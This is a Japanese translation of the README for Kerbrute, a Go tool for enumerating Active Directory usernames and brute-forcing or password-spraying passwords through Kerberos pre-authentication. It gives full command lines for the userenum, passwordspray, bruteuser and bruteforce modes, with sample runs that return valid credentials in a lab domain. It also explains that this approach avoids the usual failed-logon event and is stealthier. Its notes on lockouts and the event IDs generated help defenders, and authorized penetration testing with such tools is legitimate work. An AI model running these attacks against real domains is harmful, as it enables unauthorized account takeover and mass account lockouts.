Kerberos 事前認証を利用して、有効な Active Directory アカウントを高速にブルートフォースおよび列挙するためのツール
最新のバイナリは リリースページ から入手して始めてください。
このツールは、数年前に Heimdal Kerberos クライアントを Linux から使ってブルートフォースを行うために作成した bash スクリプト から発展しました。Kerberos クライアントをインストールする権限を必要としないものを作りたいと考えていたところ、純粋な Go 実装の Kerberos ライブラリ gokrb5 に出会い、ついに Go を学んでこれを書く決心をしました。
Kerberos を使った Windows パスワードのブルートフォースは、私が知る限り他のどの手法よりも高速で、かつステルス性が高い可能性があります。なぜなら、事前認証の失敗は「従来の」イベント ID 4625(An account failed to log on)をトリガーしないからです。Kerberos では、KDC(ドメインコントローラ)に 1 つの UDP フレームを送信するだけでユーザー名の検証やログインテストが行えます。
詳細な背景情報については、私の Troopers 2019 の講演「Fun with LDAP and Kerberos」(リンクは未定)を参照してください。
Kerbrute には主に 3 つのコマンドがあります。
ドメイン (-d) またはドメインコントローラ (--dc) を指定する必要があります。ドメインコントローラが指定されていない場合は、DNS 経由で KDC を検索します。
デフォルトでは、Kerbrute はマルチスレッドで 10 スレッド使用します。これは -t オプションで変更できます。
出力は標準出力に記録されますが、-o でログファイルを指定することもできます。
デフォルトでは失敗は記録されませんが、-v で変更できます。
最後に、Kerbrute には --safe オプションがあります。このオプションを有効にすると、アカウントがロックアウトされた場合、すべてのスレッドを中止して他のアカウントのロックアウトを防ぎます。
help コマンドで詳細情報を確認できます。
$ ./kerbrute -h
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
--downgrade Force downgraded encryption type (arcfour-hmac-md5)
--hash-file string File to save AS-REP hashes to (if any captured), otherwise just logged
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
ユーザー名を列挙するために、Kerbrute は事前認証なしで TGT 要求を送信します。KDC が PRINCIPAL UNKNOWN エラーで応答した場合、そのユーザー名は存在しません。しかし、KDC が事前認証を要求した場合、ユーザー名が存在することがわかり、先に進みます。これはログイン失敗を発生させないため、アカウントがロックアウトされることはありません。Kerberos ログが有効な場合、Windows イベント ID 4768 が生成されます。
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:28:04 > Using KDC(s):
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds
passwordspray を使用すると、Kerbrute はドメインユーザーのリストに対して水平ブルートフォース攻撃を実行します。これは、多数のユーザーがいるときに 1 つまたは 2 つの一般的なパスワードをテストするのに便利です。警告: これはログイン失敗回数を増加させ、アカウントをロックアウトします。この操作は、イベント ID 4768 - Kerberos 認証チケット (TGT) が要求されました と 4771 - Kerberos 事前認証に失敗しました の両方を生成します。
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:29 > Using KDC(s):
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88
2019/03/06 21:37:35 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds
これは、1 つのユーザー名に対する従来のブルートフォース攻撃です。ロックアウトポリシーがないことが確実な場合にのみ実行してください!この操作は、イベント ID 4768 - Kerberos 認証チケット (TGT) が要求されました と 4771 - Kerberos 事前認証に失敗しました の両方を生成します。
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:24 > Using KDC(s):
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88
2019/03/06 21:38:27 > [+] VALID LOGIN: [email protected]:Summer2017
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds
このモードでは、ファイルまたは stdin からユーザー名とパスワードの組み合わせ(username:password 形式)を読み取り、Kerberos 事前認証でテストします。空白行やユーザー名/パスワードが空の行はスキップされます。この操作は、イベント ID 4768 - Kerberos 認証チケット (TGT) が要求されました と 4771 - Kerberos 事前認証に失敗しました の両方を生成します。
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Using KDC(s):
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] VALID LOGIN: [email protected]:Password1234
2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds
Linux、Windows、Mac 向けのプリコンパイル済みバイナリを リリースページ からダウンロードできます。最新版を試したい場合は、Go を使ってインストールすることもできます。
$ go get github.com/ropnop/kerbrute
リポジトリをクローンしたら、Make ファイルを使用して一般的なアーキテクチャ用にコンパイルすることもできます。
$ make help
help: Show this help.
windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries
$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.
$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
jcmturner 氏の純粋な Go による KRB5 実装に多大なる感謝を捧げます: https://github.com/jcmturner/gokrb5 。素晴らしいプロジェクトであり、非常によくドキュメント化されています。このプロジェクトなしには何もできませんでした。
delay オプションの提案と実装をしてくれた audibleblink 氏にも感謝します。